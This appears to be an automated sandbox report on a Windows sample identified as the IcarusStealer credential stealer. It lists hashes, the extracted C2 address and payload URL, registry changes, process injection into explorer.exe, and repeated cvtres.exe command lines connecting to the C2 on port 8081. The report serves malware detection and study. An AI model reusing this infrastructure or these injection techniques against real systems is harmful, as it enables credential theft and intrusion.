Analysis
-
max time kernel
197s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
18/04/2023, 04:08
Behavioral task
behavioral1
Sample
bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe
Resource
win7-20230220-en
windows7-x64
9 signatures
300 seconds
Behavioral task
behavioral2
Sample
bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe
Resource
win10-20230220-en
windows10-1703-x64
15 signatures
300 seconds
General
-
Target
bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe
-
Size
517KB
-
MD5
4c9bc0e73872ba91b88fda7a45e5379a
-
SHA1
be23cf7d356b13a3f233c6b3d807854e8083bd2d
-
SHA256
bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683
-
SHA512
fb43f2b6d534cdf7d12d0ea66223f32f4d322a36aaf883c4750cb6ca3407d72298e4fd7b5cdeee709d4aa722cd5908f9c046297f422228c25d2f883e505d8681
-
SSDEEP
12288:g63AO33JW7oEKY8AZF1+THsPXF3L2LY5ZKhbQvpM2gv1aXlA/Z0BaxL2o:g6X35W7oEKY840H
Score
10/10
Malware Config
Extracted
Family
icarusstealer
C2
5.75.162.221
Attributes
-
payload_url
http://193.31.116.239/crypt/public/Update_Downloads/patata.jpg
Signatures
-
IcarusStealer
Icarus is a modular stealer written in C# First adverts in July 2022.
-
Modifies Installed Components in the registry 2 TTPs 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe -
Suspicious use of AdjustPrivilegeToken 16 IoCs
description pid Process Token: SeDebugPrivilege 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe Token: SeShutdownPrivilege 924 explorer.exe Token: SeShutdownPrivilege 924 explorer.exe Token: SeShutdownPrivilege 924 explorer.exe Token: SeShutdownPrivilege 924 explorer.exe Token: SeShutdownPrivilege 924 explorer.exe Token: SeShutdownPrivilege 924 explorer.exe Token: SeShutdownPrivilege 924 explorer.exe Token: SeShutdownPrivilege 924 explorer.exe Token: 33 1920 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1920 AUDIODG.EXE Token: 33 1920 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 1920 AUDIODG.EXE Token: SeShutdownPrivilege 924 explorer.exe Token: SeShutdownPrivilege 924 explorer.exe Token: SeShutdownPrivilege 924 explorer.exe -
Suspicious use of FindShellTrayWindow 30 IoCs
pid Process 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe -
Suspicious use of SendNotifyMessage 24 IoCs
pid Process 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe 924 explorer.exe -
Suspicious use of WriteProcessMemory 46 IoCs
description pid Process procid_target PID 1212 wrote to memory of 924 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 28 PID 1212 wrote to memory of 924 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 28 PID 1212 wrote to memory of 924 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 28 PID 1212 wrote to memory of 1492 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 29 PID 1212 wrote to memory of 1492 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 29 PID 1212 wrote to memory of 1492 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 29 PID 1212 wrote to memory of 1492 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 29 PID 924 wrote to memory of 1500 924 explorer.exe 30 PID 924 wrote to memory of 1500 924 explorer.exe 30 PID 924 wrote to memory of 1500 924 explorer.exe 30 PID 1212 wrote to memory of 268 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 31 PID 1212 wrote to memory of 268 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 31 PID 1212 wrote to memory of 268 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 31 PID 1212 wrote to memory of 268 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 31 PID 1212 wrote to memory of 540 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 35 PID 1212 wrote to memory of 540 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 35 PID 1212 wrote to memory of 540 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 35 PID 1212 wrote to memory of 540 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 35 PID 1212 wrote to memory of 1484 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 34 PID 1212 wrote to memory of 1484 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 34 PID 1212 wrote to memory of 1484 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 34 PID 1212 wrote to memory of 1484 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 34 PID 1212 wrote to memory of 1664 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 32 PID 1212 wrote to memory of 1664 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 32 PID 1212 wrote to memory of 1664 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 32 PID 1212 wrote to memory of 1664 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 32 PID 1212 wrote to memory of 1872 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 33 PID 1212 wrote to memory of 1872 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 33 PID 1212 wrote to memory of 1872 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 33 PID 1212 wrote to memory of 1872 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 33 PID 1212 wrote to memory of 576 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 36 PID 1212 wrote to memory of 576 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 36 PID 1212 wrote to memory of 576 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 36 PID 1212 wrote to memory of 576 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 36 PID 1212 wrote to memory of 1200 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 37 PID 1212 wrote to memory of 1200 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 37 PID 1212 wrote to memory of 1200 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 37 PID 1212 wrote to memory of 1200 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 37 PID 1212 wrote to memory of 692 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 38 PID 1212 wrote to memory of 692 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 38 PID 1212 wrote to memory of 692 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 38 PID 1212 wrote to memory of 692 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 38 PID 1212 wrote to memory of 1524 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 39 PID 1212 wrote to memory of 1524 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 39 PID 1212 wrote to memory of 1524 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 39 PID 1212 wrote to memory of 1524 1212 bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe 39 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe"C:\Users\Admin\AppData\Local\Temp\bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:924 -
C:\Windows\system32\ctfmon.exectfmon.exe3⤵PID:1500
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:1492
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:268
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:1664
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:1872
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:1484
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:540
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:576
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:1200
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:692
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE2⤵PID:1524
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x1b01⤵
- Suspicious use of AdjustPrivilegeToken
PID:1920